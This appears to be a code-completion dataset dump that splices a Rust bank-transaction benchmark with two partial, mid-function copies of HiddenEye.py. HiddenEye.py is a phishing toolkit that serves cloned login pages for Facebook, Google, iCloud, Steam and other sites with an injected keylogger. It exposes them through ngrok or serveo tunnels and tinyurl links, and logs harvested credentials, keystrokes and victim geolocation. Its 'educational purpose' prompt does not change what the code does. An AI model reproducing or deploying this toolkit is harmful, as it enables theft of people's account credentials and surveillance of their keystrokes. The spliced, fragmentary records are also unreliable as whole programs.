fn get<'a>(&'a self) -> Box<FnMut(i64) -> Result<Option<(i64, Token)>, ()> + 'a>;
}
impl Getter for sync::Arc<Option<TxGet>> {
fn get<'a>(&'a self) -> Box<FnMut(i64) -> Result<Option<(i64, Token)>, ()> + 'a> {
Box::new(move |id| {
if let Some(ref g) = *self.as_ref() {
g(&id.into()).map(|(res, token)| {
assert_eq!(res.len(), 1);
res.into_iter().next().map(|row| {
// we only care about the first result
let mut row = row.into_iter();
let _: i64 = row.next().unwrap().into();
let credit: i64 = row.next().unwrap().into();
let debit: i64 = row.next().unwrap().into();
(credit - debit, token)
})
})
} else {
use std::time::Duration;
use std::thread;
// avoid spinning
thread::sleep(Duration::from_secs(1));
Err(())
}
})
}
}
fn populate(naccounts: i64, transfers_put: &mut Box<Putter>) {
// prepopulate non-transactionally (this is okay because we add no accounts while running the
// benchmark)
println!("Connected. Setting up {} accounts.", naccounts);
{
// let accounts_put = bank.accounts.as_ref().unwrap();
let mut money_put = transfers_put.transfer();
for i in 0..naccounts {
// accounts_put(vec![DataType::Number(i as i64), format!("user {}", i).into()]);
money_put(0, i, 1000, Token::empty()).unwrap();
money_put(i, 0, 1, Token::empty()).unwrap();
}
}
println!("Done with account creation");
}
fn client(i: usize,
mut transfers_put: Box<Putter>,
balances_get: Box<Getter>,
naccounts: i64,
start: time::Instant,
runtime: time::Duration,
verbose: bool,
cdf: bool,
audit: bool,
transactions: &mut Vec<(i64, i64, i64)>)
-> Vec<f64> {
let mut count = 0;
let mut committed = 0;
let mut aborted = 0;
let mut samples = Histogram::<u64>::new_with_bounds(1, 100000, 3).unwrap();
let mut last_reported = start;
let mut throughputs = Vec::new();
let mut t_rng = rand::thread_rng();
let mut sample = || t_rng.gen_range(1, naccounts);
let mut sample_pair = || -> (_, _) {
let dst_acct_rnd_id = sample();
assert!(dst_acct_rnd_id > 0);
let mut src_acct_rnd_id = sample();
while src_acct_rnd_id == dst_acct_rnd_id {
src_acct_rnd_id = sample();
}
assert!(src_acct_rnd_id > 0);
(src_acct_rnd_id, dst_acct_rnd_id)
};
{
let mut get = balances_get.get();
let mut put = transfers_put.transfer();
while start.elapsed() < runtime {
let pair = sample_pair();
let (balance, token) = get(pair.0).unwrap().unwrap();
if verbose {
println!("t{} read {}: {} @ {:#?} (for {})",
i,
pair.0,
balance,
token,
pair.1);
}
// try to make both transfers
{
let mut do_tx = |src, dst, amt, tkn| {
let mut count_result = |res| match res {
Ok(ts) => {
if verbose {
println!("commit @ {}", ts);
}
if audit {
transactions.push((src, dst, amt));
}
committed += 1
}
Err(_) => {
if verbose {
println!("abort");
}
aborted += 1
}
};
if verbose {
println!("trying {} -> {} of {}", src, dst, amt);
}
if cdf {
let t = time::Instant::now();
count_result(put(src, dst, amt, tkn));
let t = (dur_to_ns!(t.elapsed()) / 1000) as i64;
if samples.record(t).is_err() {
println!("failed to record slow put ({}ns)", t);
}
} else {
count_result(put(src, dst, amt, tkn));
}
count += 1;
};
if pair.0 != 0 {
assert!(balance >= 0, format!("{} balance is {}", pair.0, balance));
}
if balance >= 100 {
do_tx(pair.0, pair.1, 100, token);
}
}
// check if we should report
if last_reported.elapsed() > time::Duration::from_secs(1) {
let ts = last_reported.elapsed();
let throughput = count as f64 /
(ts.as_secs() as f64 +
ts.subsec_nanos() as f64 / 1_000_000_000f64);
let commit_rate = committed as f64 / count as f64;
let abort_rate = aborted as f64 / count as f64;
println!("{:?} PUT: {:.2} {:.2} {:.2}",
dur_to_ns!(start.elapsed()),
throughput,
commit_rate,
abort_rate);
throughputs.push(throughput);
last_reported = time::Instant::now();
count = 0;
committed = 0;
aborted = 0;
}
}
if audit {
let mut target_balances = HashMap::new();
for i in 0..naccounts {
target_balances.insert(i as i64, 0);
}
for i in 0i64..(naccounts as i64) {
*target_balances.get_mut(&0).unwrap() -= 999;
*target_balances.get_mut(&i).unwrap() += 999;
}
for &mut (src, dst, amt) in transactions {
*target_balances.get_mut(&src).unwrap() -= amt;
*target_balances.get_mut(&dst).unwrap() += amt;
}
for (account, balance) in target_balances {
assert_eq!(get(account).unwrap().unwrap().0, balance);
}
println!("Audit found no irregularities");
}
}
if cdf {
for (v, p, _, _) in samples.iter_percentiles(1) {
println!("percentile PUT {:.2} {:.2}", v, p);
}
}
throughputs
}
fn main() {
use clap::{Arg, App};
let args = App::new("bank")
.version("0.1")
.about("Benchmarks Soup transactions and reports abort rate.")
.arg(Arg::with_name("avg")
.long("avg")
.takes_value(false)
.help("compute average throughput at the end of benchmark"))
.arg(Arg::with_name("cdf")
.long("cdf")
.takes_value(false)
.help("produce a CDF of recorded latencies for each client at the end"))
.arg(Arg::with_name("naccounts")
.short("a")
.long("accounts")
.value_name("N")
.default_value("5")
.help("Number of bank accounts to prepopulate the database with"))
.arg(Arg::with_name("runtime")
.short("r")
.long("runtime")
.value_name("N")
.default_value("60")
.help("Benchmark runtime in seconds"))
.arg(Arg::with_name("migrate")
.short("m")
.long("migrate")
.value_name("M")
.help("Perform a migration after this many seconds")
.conflicts_with("stage"))
.arg(Arg::with_name("threads")
.short("t")
.long("threads")
.value_name("T")
.default_value("2")
.help("Number of client threads"))
.arg(Arg::with_name("verbose")
.short("v")
.long("verbose")
.takes_value(false)
.help("Verbose (debugging) output"))
.arg(Arg::with_name("audit")
.short("A")
.long("audit")
.takes_value(false)
.help("Audit results after benchmark completes"))
.after_help(BENCH_USAGE)
.get_matches();
let avg = args.is_present("avg");
let cdf = args.is_present("cdf");
let runtime = time::Duration::from_secs(value_t_or_exit!(args, "runtime", u64));
let migrate_after = args.value_of("migrate")
.map(|_| value_t_or_exit!(args, "migrate", u64))
.map(time::Duration::from_secs);
let naccounts = value_t_or_exit!(args, "naccounts", i64);
let nthreads = value_t_or_exit!(args, "threads", usize);
let verbose = args.is_present("verbose");
let audit = args.is_present("audit");
if let Some(ref migrate_after) = migrate_after {
assert!(migrate_after < &runtime);
}
// setup db
println!("Attempting to set up bank");
let mut bank = setup(nthreads);
// let system settle
// thread::sleep(time::Duration::new(1, 0));
let start = time::Instant::now();
// benchmark
let clients = (0..nthreads)
.into_iter()
.map(|i| {
Some({
let mut transfers_put = bank.putter();
let balances_get: Box<Getter> = bank.getter();
let mut transactions = vec![];
if i == 0 {
populate(naccounts, &mut transfers_put);
}
thread::Builder::new()
.name(format!("bank{}", i))
.spawn(move || -> Vec<f64> {
client(i,
transfers_put,
balances_get,
naccounts,
start,
runtime,
verbose,
cdf,
audit,
&mut transactions)
})
.unwrap() |
let avg_put_throughput = |th: Vec<f64>| if avg {
let sum: f64 = th.iter().sum();
println!("avg PUT: {:.2}", sum / th.len() as f64);
};
if let Some(duration) = migrate_after {
thread::sleep(duration);
println!("----- starting migration -----");
let start = time::Instant::now();
(bank.migrate)();
let duration = start.elapsed();
let length = 1000000000u64 * duration.as_secs() + duration.subsec_nanos() as u64;
println!("----- completed migration -----\nElapsed time = {} ms",
1e-6 * (length as f64));
}
// clean
for c in clients {
if let Some(client) = c {
match client.join() {
Err(e) => panic!(e),
Ok(th) => avg_put_throughput(th),
}
}
}
} | })
})
.collect::<Vec<_>>(); | random_line_split |
HiddenEye.py | #!/usr/bin/python3
#-*- coding: utf-8 -*-
# HiddenEye v1.0
# By:- DARKSEC TEAM
#
###########################
from time import sleep
from sys import stdout, exit, argv
from os import system, path
from distutils.dir_util import copy_tree
import multiprocessing
from urllib.request import urlopen, quote, unquote
from platform import system as systemos, architecture
from wget import download
import re
import json
from subprocess import check_output
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
def connected(host='http://duckduckgo.com'): #Checking network connection.
try:
urlopen(host)
return True
except:
return False
if connected() == False: #If there no network
print ('''{0}[{1}!{0}]{1} Network error. Verify your Internet connection.\n
'''.format(RED, DEFAULT))
exit(0)
def checkNgrok(): #Check if user already have Ngrok server, if False - downloading it.
if path.isfile('Server/ngrok') == False:
print('[*] Downloading Ngrok...')
if 'Android' in str(check_output(('uname', '-a'))):
filename = 'ngrok-stable-linux-arm.zip'
else:
ostype = systemos().lower()
if architecture()[0] == '64bit':
filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
else:
filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
download(url)
system('unzip ' + filename)
system('mv ngrok Server/ngrok')
system('rm -Rf ' + filename)
system('clear')
checkNgrok()
def end(): #Message when HiddenEye exit
system('clear')
print ('''{1}THANK YOU FOR USING ! JOIN DARKSEC TEAM NOW (github.com/DarkSecDevelopers).{1}'''.format(RED, DEFAULT, CYAN))
print ('''{1}WAITING FOR YOUR CONTRIBUTION. GOOD BYE !.{1}'''.format(RED, DEFAULT, CYAN))
def loadModule(module):
print ('''{0}[{1}*{0}]{1} You Have Selected %s Module ! KEEP GOING !{0}'''.format(CYAN, DEFAULT) % module)
def runPhishing(page, option2): #Phishing pages selection menu
system('rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/ && cp WebPages/KeyloggerData.txt Server/www/ && cp WebPages/keylogger.js Server/www/ && cp WebPages/keylogger.php Server/www/')
if option2 == '1' and page == 'Facebook':
copy_tree("WebPages/fb_standard/", "Server/www/")
if option2 == '2' and page == 'Facebook':
copy_tree("WebPages/fb_advanced_poll/", "Server/www/")
if option2 == '3' and page == 'Facebook':
copy_tree("WebPages/fb_security_fake/", "Server/www/")
if option2 == '4' and page == 'Facebook':
copy_tree("WebPages/fb_messenger/", "Server/www/")
elif option2 == '1' and page == 'Google':
copy_tree("WebPages/google_standard/", "Server/www/")
elif option2 == '2' and page == 'Google':
copy_tree("WebPages/google_advanced_poll/", "Server/www/")
elif option2 == '3' and page == 'Google':
copy_tree("WebPages/google_advanced_web/", "Server/www/")
elif page == 'LinkedIn':
copy_tree("WebPages/linkedin/", "Server/www/")
elif page == 'GitHub':
copy_tree("WebPages/GitHub/", "Server/www/")
elif page == 'StackOverflow':
copy_tree("WebPages/stackoverflow/", "Server/www/")
elif page == 'WordPress':
copy_tree("WebPages/wordpress/", "Server/www/")
elif page == 'Twitter':
copy_tree("WebPages/twitter/", "Server/www/")
elif page == 'Snapchat':
copy_tree("WebPages/Snapchat_web/", "Server/www/")
elif page == 'Yahoo':
copy_tree("WebPages/yahoo_web/", "Server/www/")
elif page == 'Twitch':
copy_tree("WebPages/twitch/", "Server/www/")
elif page == 'Microsoft':
copy_tree("WebPages/live_web/", "Server/www/")
elif page == 'Steam':
copy_tree("WebPages/steam/", "Server/www/")
elif page == 'iCloud':
copy_tree("WebPages/iCloud/", "Server/www/")
elif option2 == '1' and page == 'Instagram':
copy_tree("WebPages/Instagram_web/", "Server/www/")
elif option2 == '2' and page == 'Instagram':
copy_tree("WebPages/Instagram_autoliker/", "Server/www/")
elif option2 == '1' and page == 'VK':
copy_tree("WebPages/VK/", "Server/www/")
elif option2 == '2' and page == 'VK':
copy_tree("WebPages/VK_poll_method/", "Server/www/")
didBackground = True
logFile = None
for arg in argv:
if arg=="--nolog": #If true - don't log
didBackground = False
if didBackground:
logFile = open("log.txt", "w")
def log(ctx): #Writing log
if didBackground: #if didBackground == True, write
logFile.write(ctx.replace(RED, "").replace(WHITE, "").replace(CYAN, "").replace(GREEN, "").replace(DEFAULT, "") + "\n")
print(ctx)
def waitCreds():
print("{0}[{1}*{0}]{1} Looks Like Everything is Ready. Now Feel The Power.".format(CYAN, DEFAULT))
print("{0}[{1}*{0}]{1} KEEP EYE ON HIDDEN WORLD WITH DARKSEC.".format(RED, DEFAULT))
print("{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n".format(CYAN, DEFAULT))
while True:
with open('Server/www/usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log('======================================================================'.format(RED, DEFAULT))
log(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt')
log('======================================================================'.format(RED, DEFAULT))
log(' {0}***** I KNOW YOU ARE ENJOYING. SO MAKE IT POPULAR TO GET MORE FEATURES *****{1}\n {0}{1}'.format(RED, DEFAULT))
creds.close()
with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip)
ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8'))
if 'bogon' in ipinfo:
log('======================================================================'.format(RED, DEFAULT))
log(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
else:
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
latitude = matchObj.group(1)
longitude = matchObj.group(2)
log('======================================================================'.format(RED, DEFAULT))
log(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
log(' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, DEFAULT) % (longitude, latitude))
log(' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['org'], ipinfo['country']))
log(' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['region'], ipinfo['city']))
system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt')
log('======================================================================'.format(RED, DEFAULT))
creds.close()
with open('Server/www/KeyloggerData.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log('______________________________________________________________________'.format(RED, DEFAULT))
log(' {0}[KEY PRESSED ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
system('rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt')
log('______________________________________________________________________'.format(RED, DEFAULT))
creds.close()
def runPEnv(): #menu where user select what they wanna use
system('clear')
print ('''
______________________________________________________________
------>{2} HIDDEN EYE {2}<-------
{0}KEEP EYE ON HIDDEN WORLD WITH DARKSEC.
{0}[ LIVE VICTIM ATTACK INFORMATION ]
{0}[ LIVE KEYSTROKES CAN BE CAPTURED ]
_______________________________________________________________
{1}'''.format(GREEN, DEFAULT, CYAN))
if 256 != system('which php'): #Checking if user have PHP
print (" -----------------------".format(CYAN, DEFAULT))
print ("[PHP INSTALLATION FOUND]".format(CYAN, DEFAULT))
print (" -----------------------".format(CYAN, DEFAULT))
else:
print (" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run HiddenEye again.http://www.php.net/".format(RED, DEFAULT))
exit(0)
for i in range(101):
sleep(0.05)
stdout.write("\r{0}[{1}*{0}]{1} Eye is Opening. Please Wait... %d%%".format(CYAN, DEFAULT) % i)
stdout.flush()
if input(" \n\n{0}[{1}!{0}]{1} DO YOU AGREE TO USE THIS TOOL FOR EDUCATIONAL PURPOSE ? (y/n)\n\n{2}[HIDDENEYE-DARKSEC]- > {1}".format(RED, DEFAULT, CYAN)).upper() != 'Y': #Question where user must accept education purposes
system('clear')
print ('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n'.format(RED, DEFAULT))
exit(0)
option = input("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
if option == '1':
loadModule('Facebook')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Facebook', option2)
elif option == '2':
loadModule('Google')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Google', option2)
elif option == '3':
loadModule('LinkedIn')
option2 = ''
runPhishing('LinkedIn', option2)
elif option == '4':
loadModule('GitHub')
option2 = ''
runPhishing('GitHub', option2)
elif option == '5':
loadModule('StackOverflow')
option2 = ''
runPhishing('StackOverflow', option2)
elif option == '6':
loadModule('WordPress')
option2 = ''
runPhishing('WordPress', option2)
elif option == '7':
loadModule('Twitter')
option2 = ''
runPhishing('Twitter', option2)
elif option == '8':
loadModule('Instagram')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Instagram', option2)
elif option == '9':
loadModule('Snapchat')
option2 = ''
runPhishing('Snapchat', option2)
elif option == '10':
loadModule('Yahoo')
option2 = ''
runPhishing('Yahoo', option2)
elif option == '11':
loadModule('Twitch')
option2 = ''
runPhishing('Twitch', option2)
elif option == '12':
loadModule('Microsoft')
option2 = ''
runPhishing('Microsoft', option2)
elif option == '13':
loadModule('Steam')
option2 = ''
runPhishing('Steam', option2)
elif option == '14':
loadModule('VK')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('VK', option2)
elif option == '15':
loadModule('iCloud')
option2 = ''
runPhishing('iCloud', option2)
else:
system('clear && ./HiddenEye.py')
def runServeo():
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &')
sleep(7)
with open('link.url') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
pass
else:
runServeo()
output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url", shell=True)
url = str(output).strip("b ' \ n")
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(CYAN, DEFAULT, GREEN) + url + "{1}".format(CYAN, DEFAULT, GREEN))
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, DEFAULT, GREEN) + link + "{1}".format(CYAN, DEFAULT, GREEN))
print("\n")
def runNgrok():
system('./Server/ngrok http 1111 > /dev/null &')
while True:
sleep(2)
system('curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh > ngrok.url')
urlFile = open('ngrok.url', 'r')
url = urlFile.read()
urlFile.close()
if re.match("https://[0-9a-z]*\.ngrok.io", url) != None:
print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, DEFAULT, GREEN) + url + "{1}".format(CYAN, DEFAULT, GREEN))
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, DEFAULT, GREEN) + link + "{1}".format(CYAN, DEFAULT, GREEN))
print("\n")
break
def runServer():
system("cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null 2>&1 &")
if __name__ == "__main__":
try:
runPEnv()
def | (): #Question where user can input custom web-link
print("\n (Choose Wisely As Your Victim Will Redirect to This Link)".format(RED, DEFAULT))
print("\n (Leave Blank To Loop The Phishing Page)".format(RED, DEFAULT))
print("\n {0}Insert a custom redirect url:".format(CYAN, DEFAULT))
custom = input("\nCUSTOM URL >".format(CYAN, DEFAULT))
if 'https://' in custom:
pass
else:
custom = 'https://' + custom
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
with open('Server/www/post.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/post.php', 'w')
f.write(c)
f.close()
else:
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
custom()
def server(): #Question where user must select server
print("\n {0}Please select any available server:{1}".format(CYAN, DEFAULT))
print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(CYAN, DEFAULT))
choice = input(" \n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
if choice == '1':
runNgrok()
elif choice == '2':
runServeo()
else:
system('clear')
return server()
server()
multiprocessing.Process(target=runServer).start()
waitCreds()
except KeyboardInterrupt:
end()
exit(0)
| custom | identifier_name |
HiddenEye.py | #!/usr/bin/python3
#-*- coding: utf-8 -*-
# HiddenEye v1.0
# By:- DARKSEC TEAM
#
###########################
from time import sleep
from sys import stdout, exit, argv
from os import system, path
from distutils.dir_util import copy_tree
import multiprocessing
from urllib.request import urlopen, quote, unquote
from platform import system as systemos, architecture
from wget import download
import re
import json
from subprocess import check_output
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
def connected(host='http://duckduckgo.com'): #Checking network connection.
try:
urlopen(host)
return True
except:
return False
if connected() == False: #If there no network
print ('''{0}[{1}!{0}]{1} Network error. Verify your Internet connection.\n
'''.format(RED, DEFAULT))
exit(0)
def checkNgrok(): #Check if user already have Ngrok server, if False - downloading it.
|
checkNgrok()
def end(): #Message when HiddenEye exit
system('clear')
print ('''{1}THANK YOU FOR USING ! JOIN DARKSEC TEAM NOW (github.com/DarkSecDevelopers).{1}'''.format(RED, DEFAULT, CYAN))
print ('''{1}WAITING FOR YOUR CONTRIBUTION. GOOD BYE !.{1}'''.format(RED, DEFAULT, CYAN))
def loadModule(module):
print ('''{0}[{1}*{0}]{1} You Have Selected %s Module ! KEEP GOING !{0}'''.format(CYAN, DEFAULT) % module)
def runPhishing(page, option2): #Phishing pages selection menu
system('rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/ && cp WebPages/KeyloggerData.txt Server/www/ && cp WebPages/keylogger.js Server/www/ && cp WebPages/keylogger.php Server/www/')
if option2 == '1' and page == 'Facebook':
copy_tree("WebPages/fb_standard/", "Server/www/")
if option2 == '2' and page == 'Facebook':
copy_tree("WebPages/fb_advanced_poll/", "Server/www/")
if option2 == '3' and page == 'Facebook':
copy_tree("WebPages/fb_security_fake/", "Server/www/")
if option2 == '4' and page == 'Facebook':
copy_tree("WebPages/fb_messenger/", "Server/www/")
elif option2 == '1' and page == 'Google':
copy_tree("WebPages/google_standard/", "Server/www/")
elif option2 == '2' and page == 'Google':
copy_tree("WebPages/google_advanced_poll/", "Server/www/")
elif option2 == '3' and page == 'Google':
copy_tree("WebPages/google_advanced_web/", "Server/www/")
elif page == 'LinkedIn':
copy_tree("WebPages/linkedin/", "Server/www/")
elif page == 'GitHub':
copy_tree("WebPages/GitHub/", "Server/www/")
elif page == 'StackOverflow':
copy_tree("WebPages/stackoverflow/", "Server/www/")
elif page == 'WordPress':
copy_tree("WebPages/wordpress/", "Server/www/")
elif page == 'Twitter':
copy_tree("WebPages/twitter/", "Server/www/")
elif page == 'Snapchat':
copy_tree("WebPages/Snapchat_web/", "Server/www/")
elif page == 'Yahoo':
copy_tree("WebPages/yahoo_web/", "Server/www/")
elif page == 'Twitch':
copy_tree("WebPages/twitch/", "Server/www/")
elif page == 'Microsoft':
copy_tree("WebPages/live_web/", "Server/www/")
elif page == 'Steam':
copy_tree("WebPages/steam/", "Server/www/")
elif page == 'iCloud':
copy_tree("WebPages/iCloud/", "Server/www/")
elif option2 == '1' and page == 'Instagram':
copy_tree("WebPages/Instagram_web/", "Server/www/")
elif option2 == '2' and page == 'Instagram':
copy_tree("WebPages/Instagram_autoliker/", "Server/www/")
elif option2 == '1' and page == 'VK':
copy_tree("WebPages/VK/", "Server/www/")
elif option2 == '2' and page == 'VK':
copy_tree("WebPages/VK_poll_method/", "Server/www/")
didBackground = True
logFile = None
for arg in argv:
if arg=="--nolog": #If true - don't log
didBackground = False
if didBackground:
logFile = open("log.txt", "w")
def log(ctx): #Writing log
if didBackground: #if didBackground == True, write
logFile.write(ctx.replace(RED, "").replace(WHITE, "").replace(CYAN, "").replace(GREEN, "").replace(DEFAULT, "") + "\n")
print(ctx)
def waitCreds():
print("{0}[{1}*{0}]{1} Looks Like Everything is Ready. Now Feel The Power.".format(CYAN, DEFAULT))
print("{0}[{1}*{0}]{1} KEEP EYE ON HIDDEN WORLD WITH DARKSEC.".format(RED, DEFAULT))
print("{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n".format(CYAN, DEFAULT))
while True:
with open('Server/www/usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log('======================================================================'.format(RED, DEFAULT))
log(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt')
log('======================================================================'.format(RED, DEFAULT))
log(' {0}***** I KNOW YOU ARE ENJOYING. SO MAKE IT POPULAR TO GET MORE FEATURES *****{1}\n {0}{1}'.format(RED, DEFAULT))
creds.close()
with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip)
ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8'))
if 'bogon' in ipinfo:
log('======================================================================'.format(RED, DEFAULT))
log(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
else:
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
latitude = matchObj.group(1)
longitude = matchObj.group(2)
log('======================================================================'.format(RED, DEFAULT))
log(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
log(' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, DEFAULT) % (longitude, latitude))
log(' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['org'], ipinfo['country']))
log(' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['region'], ipinfo['city']))
system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt')
log('======================================================================'.format(RED, DEFAULT))
creds.close()
with open('Server/www/KeyloggerData.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log('______________________________________________________________________'.format(RED, DEFAULT))
log(' {0}[KEY PRESSED ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
system('rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt')
log('______________________________________________________________________'.format(RED, DEFAULT))
creds.close()
def runPEnv(): #menu where user select what they wanna use
system('clear')
print ('''
______________________________________________________________
------>{2} HIDDEN EYE {2}<-------
{0}KEEP EYE ON HIDDEN WORLD WITH DARKSEC.
{0}[ LIVE VICTIM ATTACK INFORMATION ]
{0}[ LIVE KEYSTROKES CAN BE CAPTURED ]
_______________________________________________________________
{1}'''.format(GREEN, DEFAULT, CYAN))
if 256 != system('which php'): #Checking if user have PHP
print (" -----------------------".format(CYAN, DEFAULT))
print ("[PHP INSTALLATION FOUND]".format(CYAN, DEFAULT))
print (" -----------------------".format(CYAN, DEFAULT))
else:
print (" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run HiddenEye again.http://www.php.net/".format(RED, DEFAULT))
exit(0)
for i in range(101):
sleep(0.05)
stdout.write("\r{0}[{1}*{0}]{1} Eye is Opening. Please Wait... %d%%".format(CYAN, DEFAULT) % i)
stdout.flush()
if input(" \n\n{0}[{1}!{0}]{1} DO YOU AGREE TO USE THIS TOOL FOR EDUCATIONAL PURPOSE ? (y/n)\n\n{2}[HIDDENEYE-DARKSEC]- > {1}".format(RED, DEFAULT, CYAN)).upper() != 'Y': #Question where user must accept education purposes
system('clear')
print ('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n'.format(RED, DEFAULT))
exit(0)
